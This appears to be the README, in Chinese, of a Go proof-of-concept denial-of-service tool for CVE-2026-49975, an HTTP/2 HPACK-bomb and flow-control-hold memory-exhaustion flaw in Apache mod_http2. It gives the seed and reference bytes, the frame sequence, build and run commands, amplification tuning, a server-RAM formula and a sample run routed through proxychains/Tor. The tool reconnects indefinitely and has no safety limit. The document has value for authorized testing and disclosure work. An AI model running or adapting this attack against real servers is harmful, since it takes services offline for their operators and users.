⚠️ 这是一个可用的内存耗尽型 DoS 工具——不是玩具。 它会打开流,迫使目标分配内存,并通过 HTTP/2 流控技巧保持这些流处于打开状态。只要进程在运行,它就会持续保持连接,并在服务器断开连接时自动重连——它不会自行停止。影响程度直接取决于
--threads、--streams和--headers。停止进程(Ctrl+C)会释放被保持的流,让服务器得以恢复,但默认操作方式绝非"温和"——请将每次运行都视为实弹测试。
CVE-2026-49975("HTTP/2 Bomb")是一个远程、无需认证的拒绝服务漏洞,影响 Apache HTTP Server 的 mod_http2 模块。它串联了两个早已为人所知的 HTTP/2 弱点:
Cookie 头片段被合并,却不计入 LimitRequestFields,迫使服务器反复为内部头部记账结构分配内存。结果:一个使用普通连接的单一客户端,只要保持流打开,就能迫使目标持续进行大量内存分配。本实现支持两种载荷模式,并随你配置的并发数线性扩展:
nginx 模式 —— 在 HPACK 动态表中植入一个空的 x-bomb 头,并反复引用它(每次引用约 70:1 放大)。classic 模式 —— 改为植入一个超大 cookie 头(每次引用约 4000:1 放大)。每个连接在每个流中反复引用植入的头数千次(--headers,默认 5000),每个连接有多个流(--streams,默认 10),并有多个并行连接(--threads,默认 1)。如果服务器关闭连接,该工具会立即重连并继续,直到被手动停止——这是一个持续保持循环,而非一次性探测。
其他受影响技术栈的相关标识符(本仓库未实现或测试):
CVE-2026-47774为完整起见,底层弱点类别的完整范围 —— "HTTP/2 Bomb"技术(HPACK 压缩炸弹 + 流控保持)影响 Apache 之外的多个服务器实现。本仓库仅实现并测试 Apache 案例;其余内容列出是为了让读者理解更广泛的类别,而非因为本 PoC 会触发它们:
参考资料(主要来源——请独立核实所有声明):
本仓库包含:
本仓库不包含:
在做任何事之前请先阅读本节。
下载、克隆或执行本仓库中的任何代码,即表示你同意:你独自负责确保拥有适当授权,并对你的使用承担全部法律责任。
CVE-2026-49975 仅适用于同时满足第 1 节两项条件的目标——可通过 HTTP/2 访问且运行处于受影响范围内的易受攻击 mod_http2 版本(2.4.17 ≤ 版本 ≤ 2.4.67,默认配置)。对目标的 HTTPS 端口执行简单的 curl -vkI 就足以检查这两项——无需扫描器或额外参数:
curl -vkI https://<target>
输出中需要关注的内容:
ALPN: server accepted h2 —— 服务器为此连接协商了 HTTP/2。这是 CVE-2026-49975 的前提条件,因为该漏洞存在于 mod_http2 中;在此处从未接受 h2 的服务器不是候选目标。Server 响应头(在 -v 输出更下方、HEAD 响应头打印后可见)—— 这是用来对照第 1 节中的受影响范围确认或排除实际 Apache/mod_http2 版本的依据。仅凭 ALPN 接受不能确认版本——仍需 Server 头或等效的 banner 检查。本仓库的侦察不使用除此之外的任何手段——没有主动利用流量、没有漏洞扫描器、没有端口扫描。
cve202649975)golang.org/x/net v0.59.0(通过 go build 自动解析)443,默认 TLS/h2;--no-ssl 用于明文 h2c)proxychains4 下启动,它会检测到 LD_PRELOAD 包装器,读取相同的 proxychains4.conf,并通过该 SOCKS5 代理(远程 DNS 解析)路由自身连接——当委托范围要求从特定出口路径测试时很有用CVE-2026-49975 本身的公开时间线:2026-05-26 报告给 Apache;2026-05-27 修复在上游
mod_h2中落地;2026-06-02 合并到 httpd 2.4.x 分支;Apache HTTP Server 2.4.68 于 2026-06-08 发布。
仅针对你明确获授权测试的目标运行本工具。没有内置的持续时间限制或安全模式——运行时长和并发数由你负责。
构建:
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos (see build.sh)
运行:
./dos <target> <port> [flags]
示例,最小化授权实验室测试:
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx
预期行为:
WINDOW_UPDATE 滴流和周期性 ping 保持流打开;如果服务器关闭连接,会自动重连并重复。Ctrl+C / SIGTERM 时停止——请相应规划测试窗口,并实时监控目标内存。--streams/--headers 在预发布/实验室环境中验证,并且无论如何都要为目标服务准备好回滚/重启方案。本工具两种模式的粗略服务器端内存公式(仅限 Apache mod_http2——关于 nginx/classic 如何对应放大比例,请参阅第 1 节):
total_streams = threads × streams
server_ram_MB ≈ total_streams × headers × amplification_bytes / 1024²
# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
# 1 × 10 × 5000 × 70 / 1024² ≈ 3.3 MB held
# classic mode (~4000 bytes/ref), defaults:
# 1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held
将 threads/streams/headers 调高,数字会线性增长——这就是为什么授权实验室测试应从低值开始(见第 7 节),然后再进行任何生产范围运行。
本节记录本特定 PoC 针对 Apache mod_http2 实现的机制——它不适用于其他服务器实现,那些超出本仓库范围(见第 2 节)。
HPACK 动态表种子(增量索引,在索引 62 处添加条目):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00 (nginx-mode seed: empty value)
对该条目的索引引用(每个 1 字节,重复 --headers 次):
0x80 | 62 = 0xbe
每个连接的 HTTP/2 帧序列:
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (connection preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (flow-control stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← HPACK bomb payload
HEADERS [stream 3] ← HPACK bomb payload
... (up to --streams per connection)
WINDOW_UPDATE(1) per stream, periodically (keeps the stall alive)
线上开销很小,且每个流基本固定(种子几个字节 + 每次引用 1 字节);服务器端分配才是增长不成比例的部分——这个差距就是漏洞所在。
来自一次授权实验室运行的输出,classic 模式,20 个连接 × 30 流/连接,5000 HPACK 引用/流,通过 proxychains 路由:
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
██╗ ██╗██████╗ ██████╗ ██████╗ ███╗ ███╗██████╗
██║ ██║╚════██╗ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
███████║ █████╔╝ ██████╔╝██║ ██║██╔████╔██║██████╔╝
██╔══██║██╔═══╝ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗
██║ ██║███████╗ ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝
CVE-2026-49975 — HTTP/2 Bomb PoC (HPACK bomb + flow-control hold)
Go PoC by naheeju · originally discovered by Calif.IO · authorized testing only
──────────────────────────────────────────────────────────────────
Run configuration
Target domain.com:443
Mode classic (~4000:1 amplification)
Connections 20
Streams/conn 30
Total streams 600
HPACK refs/str 5000
Est. server RAM ~11444 MB
Proxychains yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
[~] Opening connection #1...
...
[+] 30 streams open | ~572 MB pinned on server | holding...
[+] 30 streams open | ~572 MB pinned on server | holding...
... (one line per connection as it finishes opening its 30 streams)
每个连接在打开流时独立报告其自身的本地 RAM 贡献(在这些设置下每个连接约 572 MB);预检的 Est. server RAM 数字是所有 20 个连接的合计(约 11.4 GB),前提是每个连接都完全打开并保持。
上面的
domain.com是占位符——在记录你自己的运行时请替换为实际获授权目标,如果委托是保密的,请将其隐去。
LimitRequestFields 并监控头部合并行为。原始漏洞发现及向 Apache 的披露(与本仓库或其作者无关):
本仓库(Go 重新实现,在公开修复落地后编写并测试):
关于本特定 PoC 的问题、更正或与负责任披露相关的疑虑:请在本仓库提交 issue。
许可证: MIT(仅限本仓库代码——见 LICENSE)。不延伸至、也不暗示原始发现者或 Apache Software Foundation 的认可。
| 实现 | 状态 | 本 PoC 中是否实现? |
|---|
Apache HTTP Server mod_http2 | 已在 httpd 2.4.68 中修复(2026-06-08) | 是——本仓库 |
| nginx | 已在 1.29.8 中修复 | 否 |
| Envoy | 单独跟踪 | 否 |
| Microsoft IIS | 单独跟踪 | 否 |
| Cloudflare Pingora | 单独跟踪 | 否 |
| CVE | CVE-2026-49975 |
| CWE | CWE-789(按 NVD/CVE.org 为过大尺寸值的内存分配);部分厂商也将其跟踪为 CWE-409(高度压缩数据处理不当) |
| CVSS | 7.5(高)—— CVSS v3.1,仅可用性向量(按 NVD)。Apache 自己的公告将其评为 Moderate。 |
| 受影响组件 | Apache HTTP Server mod_http2 |
| 受影响版本 | Apache httpd 2.4.17 ≤ 版本 ≤ 2.4.67(默认 HTTP/2 配置) |
| 修复于 | Apache HTTP Server 2.4.68(2026-06-08 发布)。底层修复于 2026-05-27 在上游 mod_h2 中落地,2026-06-02 合并到 httpd 2.4.x 分支,随 2.4.68 版本发布。 |
| 攻击类型 | 拒绝服务——内存耗尽(仅可用性) |
| 是否需要认证 | 否 |
| 数据泄露 / RCE | 无——仅影响可用性 |
| 已知被利用 | 目前未被跟踪来源标记为已知在野利用。 |
| 参数 | 默认值 | 描述 |
|---|
--threads N | 1 | 并行连接数 |
--streams N | 10 | 每个连接打开的流数 |
--headers N | 5000 | 每个流的 HPACK 动态表引用次数(放大驱动因素) |
--mode nginx|classic | nginx | nginx = 空头记账炸弹(约 70:1);classic = 胖 cookie 炸弹(约 4000:1,匹配本 CVE 所跟踪的 Apache mod_http2 Cookie 合并机制) |
--no-ssl | 关闭 | 使用明文 h2c 而非 TLS |